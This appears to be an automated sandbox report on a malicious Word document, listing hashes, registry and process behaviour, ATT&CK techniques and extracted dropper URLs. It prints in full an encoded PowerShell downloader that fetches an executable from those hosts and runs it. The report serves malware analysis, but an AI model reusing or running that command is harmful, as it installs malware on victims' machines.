918c4de750f45bf110d850e4b64a174f67aeee896ce60cff7ddec0b720cd3b57

General

Target
BAL_KEMKPRPG.doc
Size 167KB
Sample200723-neaw41mqqx
SHA256 918c4de750f45bf110d850e4b64a174f67aeee896ce60cff7ddec0b720cd3b57
MD5 d87956d2e232c886d651311cb8e09c80
SHA1 200b137cce7aa642f5d8063773e8adc754c8c0d8
SHA512 47802920a8c81039b4086566121d7ccfd68183314c3ef19208adf33b4ab34e13db21f72993d16703a573d38e3885e6cc802f0fd3cbd264bf429679d1fa9d417b
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://houseofgriffin.org/weblog/v76/
exe.dropper
http://hohwy.com/cgi-bin/Bv8y33Cmr/
exe.dropper
http://lidermuebles.com.ar/cgi-bin/wz4rxd/
exe.dropper
http://106.52.87.250:81/wp-admin/T3B09Z/
exe.dropper
http://duhocjk.vn/wp-admin/51f73u/

Signatures

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3328	powersheLL.exe
3328	powersheLL.exe
3328	powersheLL.exe

Blacklisted process makes network request 4 IoCs

flow	pid	Process
14	3328	powersheLL.exe
16	3328	powersheLL.exe
18	3328	powersheLL.exe
19	3328	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
412	WINWORD.EXE
412	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3328	1036	powersheLL.exe	66

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3328	powersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_KEMKPRPG.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:412

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABkAGEAbwBoAGoAbwB1AHQAaAB3AG8AaQB6AD0AJwBoAGUAYQBtAGgAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBgAGkAVABZAFAAUgBgAG8AdABvAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAawBpAG8AZABtAG8AYQBnACAAPQAgACcAOAA1ADEAJwA7ACQAeABhAGkAdAB4AGEAdQBnAHYAYQBlAHgAcgBvAGkAYwBoAD0AJwB2AGUAZQBwAGIAbwBvAGYAcABvAG8AcQB1ACcAOwAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGsAaQBvAGQAbQBvAGEAZwArACcALgBlAHgAZQAnADsAJABnAGUAdQBjAHQAaABhAHUAZABnAHUAcgBoAGUAdQBkAD0AJwBiAG8AbwBqAGgAaQBsAHQAaABlAGkAYgAnADsAJABrAGUAdQBwAGYAYQBpAGsAdABoAHUAdQBzAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUADsAJABtAGEAbwBnAHoAbwBlAGcAYwBoAHUAdQBrAD0AJwBoAHQAdABwADoALwAvAGgAbwB1AHMAZQBvAGYAZwByAGkAZgBmAGkAbgAuAG8AcgBnAC8AdwBlAGIAbABvAGcALwB2ADcANgAvACoAaAB0AHQAcAA6AC8ALwBoAG8AaAB3AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBCAHYAOAB5ADMAMwBDAG0AcgAvACoAaAB0AHQAcAA6AC8ALwBsAGkAZABlAHIAbQB1AGUAYgBsAGUAcwAuAGMAbwBtAC4AYQByAC8AYwBnAGkALQBiAGkAbgAvAHcAegA0AHIAeABkAC8AKgBoAHQAdABwADoALwAvADEAMAA2AC4ANQAyAC4AOAA3AC4AMgA1ADAAOgA4ADEALwB3AHAALQBhAGQAbQBpAG4ALwBUADMAQgAwADkAWgAvACoAaAB0AHQAcAA6AC8ALwBkAHUAaABvAGMAagBrAC4AdgBuAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQAxAGYANwAzAHUALwAnAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAGMAdQB1AGQAYgB1AGEAaABkAGkAbwBtAD0AJwB3AG8AdwB0AGkAYQB2AG4AdQBhAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAgAGkAbgAgACQAbQBhAG8AZwB6AG8AZQBnAGMAaAB1AHUAawApAHsAdAByAHkAewAkAGsAZQB1AHAAZgBhAGkAawB0AGgAdQB1AHMALgAiAEQAbwBgAHcAbgBsAGAAbwBhAGAAZABGAEkATABFACIAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAsACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkAOwAkAGQAdQBhAHcAcQB1AG8AbwB0AGMAaABpAGEAdwA9ACcAawBpAGEAZgBsAGEAaQBkAGwAYQBlAGsAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkALgAiAEwAYABFAG4AZwB0AGgAIgAgAC0AZwBlACAAMwAzADYAMQA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAdABlACIAKAAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAKQA7ACQAaABhAHUAYwBqAGEAaQB4AGsAbwBhAHcAZgBlAHUAagA9ACcAawBlAG8AagB4AHUAYwAnADsAYgByAGUAYQBrADsAJAB3AGkAYQBuAG0AYQBjAGgAdABvAGMAZABvAG8AagA9ACcAZwBlAGUAbQBsAGkAaAB6AGUAYQBiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBhAGIAcQB1AGEAaQBjAGgAcABhAHcAPQAnAGIAbwBlAHgAdgBlAGEAeAB4AGkAeQAnAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:3328

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/412-5-0x00000230A8160000-0x00000230A8169000-memory.dmp

Download

memory/412-6-0x00000230A8160000-0x00000230A8169000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads